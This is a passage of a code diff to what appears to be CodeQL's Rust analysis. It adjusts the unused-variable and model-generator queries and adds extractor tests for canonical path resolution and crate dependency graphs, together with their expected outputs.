+++ b/rust/ql/src/queries/unusedentities/UnusedVariable.qll
@@ -16,6 +16,20 @@ predicate isUnused(Variable v) {
   not exists(v.getInitializer())
 }
 
+/**
+ * A callable for which we have incomplete information, for example because an unexpanded
+ * macro call is present. These callables are prone to false positive results from unused
+ * entities queries, unless they are excluded from results.
+ */
+class IncompleteCallable extends Callable {
+  IncompleteCallable() {
+    exists(MacroExpr me |
+      me.getEnclosingCallable() = this and
+      not me.getMacroCall().hasExpanded()
+    )
+  }
+}
+
 /**
  * Holds if variable `v` is in a context where we may not find a use for it,
  * but that's expected and should not be considered a problem.
@@ -24,6 +38,9 @@ predicate isAllowableUnused(Variable v) {
   // in a macro expansion
   v.getPat().isInMacroExpansion()
   or
+  // declared in an incomplete callable
+  v.getEnclosingCfgScope() instanceof IncompleteCallable
+  or
   // a 'self' variable
   v.getText() = "self"
 }
diff --git a/rust/ql/src/utils/modelgenerator/internal/CaptureModels.qll b/rust/ql/src/utils/modelgenerator/internal/CaptureModels.qll
index af5a2d1d73b3..3a14f6a4a489 100644
--- a/rust/ql/src/utils/modelgenerator/internal/CaptureModels.qll
+++ b/rust/ql/src/utils/modelgenerator/internal/CaptureModels.qll
@@ -3,6 +3,8 @@ private import rust
 private import rust as R
 private import codeql.rust.dataflow.DataFlow
 private import codeql.rust.dataflow.internal.DataFlowImpl
+private import codeql.rust.dataflow.internal.Node as Node
+private import codeql.rust.dataflow.internal.Content
 private import codeql.rust.dataflow.FlowSource as FlowSource
 private import codeql.rust.dataflow.FlowSink as FlowSink
 private import codeql.rust.dataflow.internal.TaintTrackingImpl
@@ -28,14 +30,19 @@ module ModelGeneratorInput implements ModelGeneratorInputSig<Location, RustDataF
   }
 
   private predicate relevant(Function api) {
-    // This excludes closures (these are not exported API endpoints) and
-    // functions without a `pub` visiblity. A function can be `pub` without
-    // ultimately being exported by a crate, so this is an overapproximation.
-    api.hasVisibility()
-    or
-    // If a method implements a public trait it is exposed through the trait.
-    // We overapproximate this by including all trait method implementations.
-    exists(Impl impl | impl.hasTrait() and impl.getAssocItemList().getAssocItem(_) = api)
+    // Only include functions that have a resolved path.
+    api.hasCrateOrigin() and
+    api.hasExtendedCanonicalPath() and
+    (
+      // This excludes closures (these are not exported API endpoints) and
+      // functions without a `pub` visiblity. A function can be `pub` without
+      // ultimately being exported by a crate, so this is an overapproximation.
+      api.hasVisibility()
+      or
+      // If a method implements a public trait it is exposed through the trait.
+      // We overapproximate this by including all trait method implementations.
+      exists(Impl impl | impl.hasTrait() and impl.getAssocItemList().getAssocItem(_) = api)
+    )
   }
 
   predicate isUninterestingForDataFlowModels(Callable api) { none() }
@@ -169,12 +176,7 @@ module ModelGeneratorInput implements ModelGeneratorInputSig<Location, RustDataF
   }
 
   string partialModelRow(Callable api, int i) {
-    i = 0 and
-    (
-      result = api.(Function).getCrateOrigin()
-      or
-      not api.(Function).hasCrateOrigin() and result = ""
-    ) // crate
+    i = 0 and result = api.(Function).getCrateOrigin() // crate
     or
     i = 1 and result = api.(Function).getExtendedCanonicalPath() // name
   }
diff --git a/rust/ql/test/TestUtils.qll b/rust/ql/test/TestUtils.qll
index 214928691c05..ce494ff5a608 100644
--- a/rust/ql/test/TestUtils.qll
+++ b/rust/ql/test/TestUtils.qll
@@ -1,3 +1,11 @@
 private import rust
 
-predicate toBeTested(Element e) { any() }
+predicate toBeTested(Element e) { not e instanceof CrateElement }
+
+class CrateElement extends Element {
+  CrateElement() {
+    this instanceof Crate or
+    this instanceof NamedCrate or
+    any(Crate c).getModule() = this.(AstNode).getParentNode*()
+  }
+}
diff --git a/rust/ql/test/default-threat-models.model.yml b/rust/ql/test/default-threat-models.model.yml
new file mode 100644
index 000000000000..63507f477386
--- /dev/null
+++ b/rust/ql/test/default-threat-models.model.yml
@@ -0,0 +1,6 @@
+extensions:
+  - addsTo:
+      pack: codeql/threat-models
+      extensible: threatModelConfiguration
+    data:
+      - ["local", true, 0]
diff --git a/rust/ql/test/extractor-tests/canonical_path/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/extractor-tests/canonical_path/CONSISTENCY/PathResolutionConsistency.expected
new file mode 100644
index 000000000000..15c7cfcb4107
--- /dev/null
+++ b/rust/ql/test/extractor-tests/canonical_path/CONSISTENCY/PathResolutionConsistency.expected
@@ -0,0 +1,3 @@
+multipleStaticCallTargets
+| regular.rs:29:5:29:9 | s.g(...) | anonymous.rs:15:9:15:22 | fn g |
+| regular.rs:29:5:29:9 | s.g(...) | regular.rs:13:5:13:18 | fn g |
diff --git a/rust/ql/test/extractor-tests/canonical_path/canonical_paths.expected b/rust/ql/test/extractor-tests/canonical_path/canonical_paths.expected
index 4f0f2ec96fb6..c7f85fb86f8d 100644
--- a/rust/ql/test/extractor-tests/canonical_path/canonical_paths.expected
+++ b/rust/ql/test/extractor-tests/canonical_path/canonical_paths.expected
@@ -1,20 +1,20 @@
 canonicalPaths
-| anonymous.rs:1:1:1:26 | Use | None | None |
+| anonymous.rs:1:1:1:26 | use ...::Trait | None | None |
 | anonymous.rs:3:1:32:1 | fn canonicals | repo::test | crate::anonymous::canonicals |
-| anonymous.rs:4:5:4:23 | struct OtherStruct | repo::test | {0}::OtherStruct |
-| anonymous.rs:6:5:8:5 | trait OtherTrait | repo::test | {0}::OtherTrait |
-| anonymous.rs:7:9:7:20 | fn g | repo::test | {0}::OtherTrait::g |
+| anonymous.rs:4:5:4:23 | struct OtherStruct | None | None |
+| anonymous.rs:6:5:8:5 | trait OtherTrait | None | None |
+| anonymous.rs:7:9:7:20 | fn g | None | None |
 | anonymous.rs:10:5:12:5 | impl OtherTrait for OtherStruct { ... } | None | None |
-| anonymous.rs:11:9:11:22 | fn g | repo::test | <{0}::OtherStruct as {0}::OtherTrait>::g |
+| anonymous.rs:11:9:11:22 | fn g | None | None |
 | anonymous.rs:14:5:16:5 | impl OtherTrait for ...::Struct { ... } | None | None |
-| anonymous.rs:15:9:15:22 | fn g | repo::test | <crate::regular::Struct as {0}::OtherTrait>::g |
+| anonymous.rs:15:9:15:22 | fn g | None | None |
 | anonymous.rs:18:5:20:5 | impl ...::Trait for OtherStruct { ... } | None | None |
-| anonymous.rs:19:9:19:22 | fn f | repo::test | <{0}::OtherStruct as crate::regular::Trait>::f |
-| anonymous.rs:22:5:24:5 | fn nested | repo::test | {0}::nested |
-| anonymous.rs:23:9:23:27 | struct OtherStruct | repo::test | {1}::OtherStruct |
-| anonymous.rs:26:5:31:5 | fn usage | repo::test | {0}::usage |
+| anonymous.rs:19:9:19:22 | fn f | None | None |
+| anonymous.rs:22:5:24:5 | fn nested | None | None |
+| anonymous.rs:23:9:23:27 | struct OtherStruct | None | None |
+| anonymous.rs:26:5:31:5 | fn usage | None | None |
 | anonymous.rs:34:1:36:1 | fn other | repo::test | crate::anonymous::other |
-| anonymous.rs:35:5:35:23 | struct OtherStruct | repo::test | {36}::OtherStruct |
+| anonymous.rs:35:5:35:23 | struct OtherStruct | None | None |
 | lib.rs:1:1:1:14 | mod anonymous | repo::test | crate::anonymous |
 | lib.rs:2:1:2:12 | mod regular | repo::test | crate::regular |
 | regular.rs:1:1:2:18 | struct Struct | repo::test | crate::regular::Struct |
@@ -33,15 +33,15 @@ canonicalPaths
 | regular.rs:34:1:38:1 | enum MyEnum | repo::test | crate::regular::MyEnum |
 | regular.rs:40:1:46:1 | fn enum_qualified_usage | repo::test | crate::regular::enum_qualified_usage |
 | regular.rs:48:1:55:1 | fn enum_unqualified_usage | repo::test | crate::regular::enum_unqualified_usage |
-| regular.rs:51:5:51:18 | Use | None | None |
+| regular.rs:51:5:51:18 | use MyEnum::* | None | None |
 | regular.rs:57:1:63:1 | fn enum_match | repo::test | crate::regular::enum_match |
 resolvedPaths
-| anonymous.rs:27:17:27:30 | OtherStruct {...} | repo::test | {0}::OtherStruct |
+| anonymous.rs:27:17:27:30 | OtherStruct {...} | None | None |
 | anonymous.rs:28:9:28:9 | s | None | None |
-| anonymous.rs:28:9:28:13 | s.f(...) | repo::test | <{0}::OtherStruct as crate::regular::Trait>::f |
+| anonymous.rs:28:9:28:13 | s.f(...) | None | None |
 | anonymous.rs:29:9:29:9 | s | None | None |
-| anonymous.rs:29:9:29:13 | s.g(...) | repo::test | <{0}::OtherStruct as {0}::OtherTrait>::g |
-| anonymous.rs:30:9:30:14 | nested | repo::test | {0}::nested |
+| anonymous.rs:29:9:29:13 | s.g(...) | None | None |
+| anonymous.rs:30:9:30:14 | nested | None | None |
 | regular.rs:27:13:27:21 | Struct {...} | repo::test | crate::regular::Struct |
 | regular.rs:28:5:28:5 | s | None | None |
 | regular.rs:28:5:28:9 | s.f(...) | repo::test | <crate::regular::Struct as crate::regular::Trait>::f |
diff --git a/rust/ql/test/extractor-tests/canonical_path_disabled/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/extractor-tests/canonical_path_disabled/CONSISTENCY/PathResolutionConsistency.expected
new file mode 100644
index 000000000000..0a1a09d5c702
--- /dev/null
+++ b/rust/ql/test/extractor-tests/canonical_path_disabled/CONSISTENCY/PathResolutionConsistency.expected
@@ -0,0 +1,3 @@
+multipleStaticCallTargets
+| regular.rs:32:5:32:9 | s.g(...) | anonymous.rs:18:9:18:22 | fn g |
+| regular.rs:32:5:32:9 | s.g(...) | regular.rs:16:5:16:18 | fn g |
diff --git a/rust/ql/test/extractor-tests/canonical_path_disabled/anonymous.rs b/rust/ql/test/extractor-tests/canonical_path_disabled/anonymous.rs
new file mode 100644
index 000000000000..a5a6abd136cf
--- /dev/null
+++ b/rust/ql/test/extractor-tests/canonical_path_disabled/anonymous.rs
@@ -0,0 +1,39 @@
+// would prefer to write `include!("../canonical_paths/anonymous.rs");`
+// but `include!` does not work with out-of-dir files
+
+use super::regular::Trait;
+
+fn canonicals() {
+    struct OtherStruct;
+
+    trait OtherTrait {
+        fn g(&self);
+    }
+
+    impl OtherTrait for OtherStruct {
+        fn g(&self) {}
+    }
+
+    impl OtherTrait for crate::regular::Struct {
+        fn g(&self) {}
+    }
+
+    impl crate::regular::Trait for OtherStruct {
+        fn f(&self) {}
+    }
+
+    fn nested() {
+        struct OtherStruct;
+    }
+
+    fn usage() {
+        let s = OtherStruct {};
+        s.f();
+        s.g();
+        nested();
+    }
+}
+
+fn other() {
+    struct OtherStruct;
+}
diff --git a/rust/ql/test/extractor-tests/canonical_path_disabled/canonical_paths.expected b/rust/ql/test/extractor-tests/canonical_path_disabled/canonical_paths.expected
new file mode 100644
index 000000000000..ec6b4bad1502
--- /dev/null
+++ b/rust/ql/test/extractor-tests/canonical_path_disabled/canonical_paths.expected
@@ -0,0 +1,66 @@
+canonicalPaths
+| anonymous.rs:4:1:4:26 | use ...::Trait | None | None |
+| anonymous.rs:6:1:35:1 | fn canonicals | None | None |
+| anonymous.rs:7:5:7:23 | struct OtherStruct | None | None |
+| anonymous.rs:9:5:11:5 | trait OtherTrait | None | None |
+| anonymous.rs:10:9:10:20 | fn g | None | None |
+| anonymous.rs:13:5:15:5 | impl OtherTrait for OtherStruct { ... } | None | None |
+| anonymous.rs:14:9:14:22 | fn g | None | None |
+| anonymous.rs:17:5:19:5 | impl OtherTrait for ...::Struct { ... } | None | None |
+| anonymous.rs:18:9:18:22 | fn g | None | None |
+| anonymous.rs:21:5:23:5 | impl ...::Trait for OtherStruct { ... } | None | None |
+| anonymous.rs:22:9:22:22 | fn f | None | None |
+| anonymous.rs:25:5:27:5 | fn nested | None | None |
+| anonymous.rs:26:9:26:27 | struct OtherStruct | None | None |
+| anonymous.rs:29:5:34:5 | fn usage | None | None |
+| anonymous.rs:37:1:39:1 | fn other | None | None |
+| anonymous.rs:38:5:38:23 | struct OtherStruct | None | None |
+| lib.rs:1:1:1:14 | mod anonymous | None | None |
+| lib.rs:2:1:2:12 | mod regular | None | None |
+| regular.rs:4:1:5:18 | struct Struct | None | None |
+| regular.rs:7:1:9:1 | trait Trait | None | None |
+| regular.rs:8:5:8:16 | fn f | None | None |
+| regular.rs:11:1:13:1 | impl Trait for Struct { ... } | None | None |
+| regular.rs:12:5:12:18 | fn f | None | None |
+| regular.rs:15:1:17:1 | impl Struct { ... } | None | None |
+| regular.rs:16:5:16:18 | fn g | None | None |
+| regular.rs:19:1:21:1 | trait TraitWithBlanketImpl | None | None |
+| regular.rs:20:5:20:16 | fn h | None | None |
+| regular.rs:23:1:25:1 | impl TraitWithBlanketImpl for T { ... } | None | None |
+| regular.rs:24:5:24:18 | fn h | None | None |
+| regular.rs:27:1:27:12 | fn free | None | None |
+| regular.rs:29:1:35:1 | fn usage | None | None |
+| regular.rs:37:1:41:1 | enum MyEnum | None | None |
+| regular.rs:43:1:49:1 | fn enum_qualified_usage | None | None |
+| regular.rs:51:1:58:1 | fn enum_unqualified_usage | None | None |
+| regular.rs:54:5:54:18 | use MyEnum::* | None | None |
+| regular.rs:60:1:66:1 | fn enum_match | None | None |
+resolvedPaths
+| anonymous.rs:30:17:30:30 | OtherStruct {...} | None | None |
+| anonymous.rs:31:9:31:9 | s | None | None |
+| anonymous.rs:31:9:31:13 | s.f(...) | None | None |
+| anonymous.rs:32:9:32:9 | s | None | None |
+| anonymous.rs:32:9:32:13 | s.g(...) | None | None |
+| anonymous.rs:33:9:33:14 | nested | None | None |
+| regular.rs:30:13:30:21 | Struct {...} | None | None |
+| regular.rs:31:5:31:5 | s | None | None |
+| regular.rs:31:5:31:9 | s.f(...) | None | None |
+| regular.rs:32:5:32:5 | s | None | None |
+| regular.rs:32:5:32:9 | s.g(...) | None | None |
+| regular.rs:33:5:33:5 | s | None | None |
+| regular.rs:33:5:33:9 | s.h(...) | None | None |
+| regular.rs:34:5:34:8 | free | None | None |
+| regular.rs:44:9:44:26 | ...::None::<...> | None | None |
+| regular.rs:45:9:45:20 | ...::Some | None | None |
+| regular.rs:46:9:46:24 | ...::Variant1 | None | None |
+| regular.rs:47:9:47:24 | ...::Variant2 | None | None |
+| regular.rs:48:9:48:33 | ...::Variant3 {...} | None | None |
+| regular.rs:52:9:52:18 | None::<...> | None | None |
+| regular.rs:53:9:53:12 | Some | None | None |
+| regular.rs:55:9:55:16 | Variant1 | None | None |
+| regular.rs:56:9:56:16 | Variant2 | None | None |
+| regular.rs:57:9:57:25 | Variant3 {...} | None | None |
+| regular.rs:61:11:61:11 | e | None | None |
+| regular.rs:62:9:62:24 | ...::Variant1 | None | None |
+| regular.rs:63:9:63:27 | ...::Variant2(...) | None | None |
+| regular.rs:64:9:64:31 | ...::Variant3 {...} | None | None |
diff --git a/rust/ql/test/extractor-tests/canonical_path_disabled/canonical_paths.qlref b/rust/ql/test/extractor-tests/canonical_path_disabled/canonical_paths.qlref
new file mode 100644
index 000000000000..f40a74f5aeda
--- /dev/null
+++ b/rust/ql/test/extractor-tests/canonical_path_disabled/canonical_paths.qlref
@@ -0,0 +1 @@
+extractor-tests/canonical_path/canonical_paths.ql
diff --git a/rust/ql/test/extractor-tests/canonical_path_disabled/options.yml b/rust/ql/test/extractor-tests/canonical_path_disabled/options.yml
new file mode 100644
index 000000000000..baee4ba5afe9
--- /dev/null
+++ b/rust/ql/test/extractor-tests/canonical_path_disabled/options.yml
@@ -0,0 +1 @@
+skip_path_resolution: true
diff --git a/rust/ql/test/extractor-tests/canonical_path_disabled/regular.rs b/rust/ql/test/extractor-tests/canonical_path_disabled/regular.rs
new file mode 100644
index 000000000000..b958e0c02dad
--- /dev/null
+++ b/rust/ql/test/extractor-tests/canonical_path_disabled/regular.rs
@@ -0,0 +1,66 @@
+// would prefer to write `include!("../canonical_path/regular.rs");
+// but `include!` does not work with out-of-dir files
+
+#[derive(Eq, PartialEq)]
+pub struct Struct;
+
+pub trait Trait {
+    fn f(&self);
+}
+
+impl Trait for Struct {
+    fn f(&self) {}
+}
+
+impl Struct {
+    fn g(&self) {}
+}
+
+trait TraitWithBlanketImpl {
+    fn h(&self);
+}
+
+impl<T: Eq> TraitWithBlanketImpl for T {
+    fn h(&self) {}
+}
+
+fn free() {}
+
+fn usage() {
+    let s = Struct {};
+    s.f();
+    s.g();
+    s.h();
+    free();
+}
+
+enum MyEnum {
+    Variant1,
+    Variant2(usize),
+    Variant3 { x: usize },
+}
+
+fn enum_qualified_usage() {
+    _ = Option::None::<()>;
+    _ = Option::Some(0);
+    _ = MyEnum::Variant1;
+    _ = MyEnum::Variant2(0);
+    _ = MyEnum::Variant3 { x: 1 };
+}
+
+fn enum_unqualified_usage() {
+    _ = None::<()>;
+    _ = Some(0);
+    use MyEnum::*;
+    _ = Variant1;
+    _ = Variant2(0);
+    _ = Variant3 { x: 1 };
+}
+
+fn enum_match(e: MyEnum) {
+    match e {
+        MyEnum::Variant1 => {}
+        MyEnum::Variant2(_) => {}
+        MyEnum::Variant3 { .. } => {}
+    }
+}
diff --git a/rust/ql/test/extractor-tests/crate_graph/crates.expected b/rust/ql/test/extractor-tests/crate_graph/crates.expected
new file mode 100644
index 000000000000..acc8aa3dec87
--- /dev/null
+++ b/rust/ql/test/extractor-tests/crate_graph/crates.expected
@@ -0,0 +1,194 @@
+#-----| Crate(alloc@0.0.0)
+#-----| core -> Crate(core@0.0.0)
+#-----| compiler_builtins -> Crate(compiler_builtins@0.1.140)
+#-----| rand -> Crate(rand@0.8.5)
+#-----| rand_xorshift -> Crate(rand_xorshift@0.3.0)
+
+#-----| Crate(allocator_api2@0.2.21)
+
+#-----| Crate(block_buffer@0.10.4)
+#-----| proc_macro -> Crate(proc_macro@0.0.0)
+#-----| alloc -> Crate(alloc@0.0.0)
+#-----| core -> Crate(core@0.0.0)
+#-----| std -> Crate(std@0.0.0)
+#-----| test -> Crate(test@0.0.0)
+#-----| generic_array -> Crate(generic_array@0.14.7)
+
+#-----| Crate(cfg_if@1.0.0)
+#-----| core -> Crate(core@0.0.0)
+#-----| compiler_builtins -> Crate(compiler_builtins@0.1.140)
+
+#-----| Crate(cfg_if@1.0.0)
+#-----| proc_macro -> Crate(proc_macro@0.0.0)
+#-----| alloc -> Crate(alloc@0.0.0)
+#-----| core -> Crate(core@0.0.0)
+#-----| std -> Crate(std@0.0.0)
+#-----| test -> Crate(test@0.0.0)
+
+#-----| Crate(compiler_builtins@0.1.140)
+#-----| core -> Crate(core@0.0.0)
+
+#-----| Crate(core@0.0.0)
+#-----| rand -> Crate(rand@0.8.5)
+#-----| rand_xorshift -> Crate(rand_xorshift@0.3.0)
+
+#-----| Crate(crypto_common@0.1.6)
+#-----| proc_macro -> Crate(proc_macro@0.0.0)
+#-----| alloc -> Crate(alloc@0.0.0)
+#-----| core -> Crate(core@0.0.0)
+#-----| std -> Crate(std@0.0.0)
+#-----| test -> Crate(test@0.0.0)
+#-----| generic_array -> Crate(generic_array@0.14.7)
+#-----| typenum -> Crate(typenum@1.18.0)
+
+#-----| Crate(digest@0.10.7)
+#-----| proc_macro -> Crate(proc_macro@0.0.0)
+#-----| alloc -> Crate(alloc@0.0.0)
+#-----| core -> Crate(core@0.0.0)
+#-----| std -> Crate(std@0.0.0)
+#-----| test -> Crate(test@0.0.0)
+#-----| block_buffer -> Crate(block_buffer@0.10.4)
+#-----| crypto_common -> Crate(crypto_common@0.1.6)
+
+#-----| Crate(generic_array@0.14.7)
+#-----| proc_macro -> Crate(proc_macro@0.0.0)
+#-----| alloc -> Crate(alloc@0.0.0)
+#-----| core -> Crate(core@0.0.0)
+#-----| std -> Crate(std@0.0.0)
+#-----| test -> Crate(test@0.0.0)
+#-----| typenum -> Crate(typenum@1.18.0)
+
+#-----| Crate(getopts@0.2.21)
+#-----| core -> Crate(core@0.0.0)
+#-----| std -> Crate(std@0.0.0)
+#-----| unicode_width -> Crate(unicode_width@0.1.14)
+
+#-----| Crate(hashbrown@0.15.2)
+#-----| allocator_api2 -> Crate(allocator_api2@0.2.21)
+#-----| alloc -> Crate(alloc@0.0.0)
+#-----| core -> Crate(core@0.0.0)
+#-----| compiler_builtins -> Crate(compiler_builtins@0.1.140)
+
+#-----| Crate(libc@0.2.169)
+#-----| rustc_std_workspace_core -> Crate(core@0.0.0)
+
+main.rs:
+#    0| Crate(main@0.0.1)
+#-----| proc_macro -> Crate(proc_macro@0.0.0)
+#-----| alloc -> Crate(alloc@0.0.0)
+#-----| core -> Crate(core@0.0.0)
+#-----| std -> Crate(std@0.0.0)
+#-----| test -> Crate(test@0.0.0)
+#-----| md5 -> Crate(md5@0.10.6)
+#-----| md5_alt -> Crate(md5@0.7.0)
+#-----| test -> Crate(test@0.0.1)
+
+#-----| Crate(md5@0.10.6)
+#-----| proc_macro -> Crate(proc_macro@0.0.0)
+#-----| alloc -> Crate(alloc@0.0.0)
+#-----| core -> Crate(core@0.0.0)
+#-----| std -> Crate(std@0.0.0)
+#-----| test -> Crate(test@0.0.0)
+#-----| cfg_if -> Crate(cfg_if@1.0.0)
+#-----| digest -> Crate(digest@0.10.7)
+
+#-----| Crate(md5@0.7.0)
+#-----| proc_macro -> Crate(proc_macro@0.0.0)
+#-----| alloc -> Crate(alloc@0.0.0)
+#-----| core -> Crate(core@0.0.0)
+#-----| std -> Crate(std@0.0.0)
+#-----| test -> Crate(test@0.0.0)
+
+#-----| Crate(panic_abort@0.0.0)
+#-----| alloc -> Crate(alloc@0.0.0)
+#-----| core -> Crate(core@0.0.0)
+#-----| compiler_builtins -> Crate(compiler_builtins@0.1.140)
+#-----| cfg_if -> Crate(cfg_if@1.0.0)
+#-----| libc -> Crate(libc@0.2.169)
+
+#-----| Crate(panic_unwind@0.0.0)
+#-----| alloc -> Crate(alloc@0.0.0)
+#-----| core -> Crate(core@0.0.0)
+#-----| compiler_builtins -> Crate(compiler_builtins@0.1.140)
+#-----| cfg_if -> Crate(cfg_if@1.0.0)
+#-----| libc -> Crate(libc@0.2.169)
+#-----| unwind -> Crate(unwind@0.0.0)
+
+#-----| Crate(proc_macro@0.0.0)
+#-----| core -> Crate(core@0.0.0)
+#-----| std -> Crate(std@0.0.0)
+
+#-----| Crate(rand@0.8.5)
+#-----| rand_core -> Crate(rand_core@0.6.4)
+
+#-----| Crate(rand_core@0.6.4)
+
+#-----| Crate(rand_xorshift@0.3.0)
+#-----| rand_core -> Crate(rand_core@0.6.4)
+
+#-----| Crate(rustc_demangle@0.1.24)
+#-----| core -> Crate(core@0.0.0)
+#-----| compiler_builtins -> Crate(compiler_builtins@0.1.140)
+
+#-----| Crate(std@0.0.0)
+#-----| alloc -> Crate(alloc@0.0.0)
+#-----| core -> Crate(core@0.0.0)
+#-----| compiler_builtins -> Crate(compiler_builtins@0.1.140)
+#-----| cfg_if -> Crate(cfg_if@1.0.0)
+#-----| hashbrown -> Crate(hashbrown@0.15.2)
+#-----| libc -> Crate(libc@0.2.169)
+#-----| rand -> Crate(rand@0.8.5)
+#-----| rand_xorshift -> Crate(rand_xorshift@0.3.0)
+#-----| rustc_demangle -> Crate(rustc_demangle@0.1.24)
+#-----| panic_abort -> Crate(panic_abort@0.0.0)
+#-----| unwind -> Crate(unwind@0.0.0)
+#-----| panic_unwind -> Crate(panic_unwind@0.0.0)
+#-----| std_detect -> Crate(std_detect@0.1.5)
+
+#-----| Crate(std_detect@0.1.5)
+#-----| alloc -> Crate(alloc@0.0.0)
+#-----| core -> Crate(core@0.0.0)
+#-----| compiler_builtins -> Crate(compiler_builtins@0.1.140)
+#-----| cfg_if -> Crate(cfg_if@1.0.0)
+#-----| libc -> Crate(libc@0.2.169)
+
+#-----| Crate(test@0.0.0)
+#-----| core -> Crate(core@0.0.0)
+#-----| std -> Crate(std@0.0.0)
+#-----| getopts -> Crate(getopts@0.2.21)
+#-----| libc -> Crate(libc@0.2.169)
+
+lib.rs:
+#    0| Crate(test@0.0.1)
+#-----| proc_macro -> Crate(proc_macro@0.0.0)
+#-----| alloc -> Crate(alloc@0.0.0)
+#-----| core -> Crate(core@0.0.0)
+#-----| std -> Crate(std@0.0.0)
+#-----| test -> Crate(test@0.0.0)
+#-----| md5 -> Crate(md5@0.10.6)
+#-----| md5_alt -> Crate(md5@0.7.0)
+
+#-----| Crate(typenum@1.18.0)
+#-----| proc_macro -> Crate(proc_macro@0.0.0)
+#-----| alloc -> Crate(alloc@0.0.0)
+#-----| core -> Crate(core@0.0.0)
+#-----| std -> Crate(std@0.0.0)
+#-----| test -> Crate(test@0.0.0)
+
+#-----| Crate(unicode_width@0.1.14)
+#-----| core -> Crate(core@0.0.0)
+#-----| std -> Crate(std@0.0.0)
+#-----| compiler_builtins -> Crate(compiler_builtins@0.1.140)
+
+#-----| Crate(unwind@0.0.0)
+#-----| core -> Crate(core@0.0.0)
+#-----| compiler_builtins -> Crate(compiler_builtins@0.1.140)
+#-----| cfg_if -> Crate(cfg_if@1.0.0)
+#-----| libc -> Crate(libc@0.2.169)
+
+#-----| Crate(version_check@0.9.5)
+#-----| proc_macro -> Crate(proc_macro@0.0.0)
+#-----| alloc -> Crate(alloc@0.0.0)
+#-----| core -> Crate(core@0.0.0)
+#-----| std -> Crate(std@0.0.0)
+#-----| test -> Crate(test@0.0.0)
diff --git a/rust/ql/test/extractor-tests/crate_graph/crates.ql b/rust/ql/test/extractor-tests/crate_graph/crates.ql
new file mode 100644
index 000000000000..90da5ee70efb
--- /dev/null
+++ b/rust/ql/test/extractor-tests/crate_graph/crates.ql
@@ -0,0 +1,31 @@
+/**
+ * @id crate-graph
+ * @name Crate Graph
+ * @kind graph
+ */
+
+import rust
+
+class MyCrate extends Crate {
+  // avoid printing locations for crates outside of the test folder
+  Location getLocation() { result = super.getLocation() and this.fromSource() }
+}
+
+private int getOrder(MyCrate c) {
+  c =
+    rank[result](MyCrate c0, string name, string version |
+      name = c0.getName() and
+      version = c0.getVersion()
+    |
+      c0 order by name, version
+    )
+}
+
+query predicate nodes(MyCrate c, string key, string value) {
+  key = "semmle.order" and value = getOrder(c).toString()
+}
+
+query predicate edges(MyCrate c1, MyCrate c2, string key, string value) {
+  c1.getDependency(value) = c2 and
+  key = "semmle.label"
+}
diff --git a/rust/ql/test/extractor-tests/crate_graph/main.rs b/rust/ql/test/extractor-tests/crate_graph/main.rs
new file mode 100644
index 000000000000..774cd476e3b6
--- /dev/null
+++ b/rust/ql/test/extractor-tests/crate_graph/main.rs
@@ -0,0 +1,3 @@
+fn main() {
+    println! {"Hello world"}
+}
diff --git a/rust/ql/test/extractor-tests/crate_graph/module.rs b/rust/ql/test/extractor-tests/crate_graph/module.rs
new file mode 100644
index 000000000000..17ef271a7292
--- /dev/null
+++ b/rust/ql/test/extractor-tests/crate_graph/module.rs
@@ -0,0 +1,45 @@
+use std::fmt;
+
+pub enum X {
+    A,
+    B,
+}
+
+pub struct X_List {
+    x: X,
+    tail: Option<Box<X_List>>,
+}
+
+pub fn length(list: X_List) -> usize {
+    match list {
+        X_List { x: _, tail: None } => 1,
+        X_List {
+            x: _,
+            tail: Some(tail),
+        } => 1 + length(*tail),
+    }
+}
+pub trait AsString {
+    fn as_string(&self) -> &str;
+}
+
+impl AsString for X {
+    fn as_string(&self) -> &str {
+        match self {
+            X::A => "a",
+            X::B => "b",
+        }
+    }
+}
+
+impl fmt::Display for X {
+    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
+        write!(f, "{}", self.as_string())
+    }
+}
+
+pub const X_A: X = X::A;
+pub static X_B: X = X::B;
+
+pub use std::fs::create_dir as mkdir;
+pub use std::{fs::*, path::PathBuf};
diff --git a/rust/ql/test/extractor-tests/crate_graph/modules.expected b/rust/ql/test/extractor-tests/crate_graph/modules.expected
new file mode 100644
index 000000000000..40ee24579e07
--- /dev/null
+++ b/rust/ql/test/extractor-tests/crate_graph/modules.expected
@@ -0,0 +1,128 @@
+#-----| Const
+
+#-----| Static
+
+#-----| enum X
+
+#-----| fn as_string
+
+#-----| fn as_string
+
+#-----| fn fmt
+
+#-----| fn length
+
+#-----| impl ...::Display for ...::X { ... }
+#-----|  -> fn fmt
+
+#-----| impl AsString for ...::X { ... }
+#-----|  -> fn as_string
+
+lib.rs:
+#    0| mod crate
+#-----|  -> mod module
+
+#-----| mod module
+#-----|  -> Const
+#-----|  -> Static
+#-----|  -> enum X
+#-----|  -> fn length
+#-----|  -> impl ...::Display for ...::X { ... }
+#-----|  -> impl AsString for ...::X { ... }
+#-----|  -> struct X_List
+#-----|  -> trait AsString
+#-----|  -> use ...::DirBuilder
+#-----|  -> use ...::DirEntry
+#-----|  -> use ...::File
+#-----|  -> use ...::FileTimes
+#-----|  -> use ...::FileType
+#-----|  -> use ...::Metadata
+#-----|  -> use ...::OpenOptions
+#-----|  -> use ...::PathBuf
+#-----|  -> use ...::Permissions
+#-----|  -> use ...::ReadDir
+#-----|  -> use ...::canonicalize
+#-----|  -> use ...::copy
+#-----|  -> use ...::create_dir
+#-----|  -> use ...::create_dir as mkdir
+#-----|  -> use ...::create_dir_all
+#-----|  -> use ...::exists
+#-----|  -> use ...::hard_link
+#-----|  -> use ...::metadata
+#-----|  -> use ...::read
+#-----|  -> use ...::read_dir
+#-----|  -> use ...::read_link
+#-----|  -> use ...::read_to_string
+#-----|  -> use ...::remove_dir
+#-----|  -> use ...::remove_dir_all
+#-----|  -> use ...::remove_file
+#-----|  -> use ...::rename
+#-----|  -> use ...::set_permissions
+#-----|  -> use ...::soft_link
+#-----|  -> use ...::symlink_metadata
+#-----|  -> use ...::write
+
+#-----| struct X_List
+
+#-----| trait AsString
+#-----|  -> fn as_string
+
+#-----| use ...::DirBuilder
+
+#-----| use ...::DirEntry
+
+#-----| use ...::File
+
+#-----| use ...::FileTimes
+
+#-----| use ...::FileType
+
+#-----| use ...::Metadata
+
+#-----| use ...::OpenOptions
+
+#-----| use ...::PathBuf
+
+#-----| use ...::Permissions
+
+#-----| use ...::ReadDir
+
+#-----| use ...::canonicalize
+
+#-----| use ...::copy
+
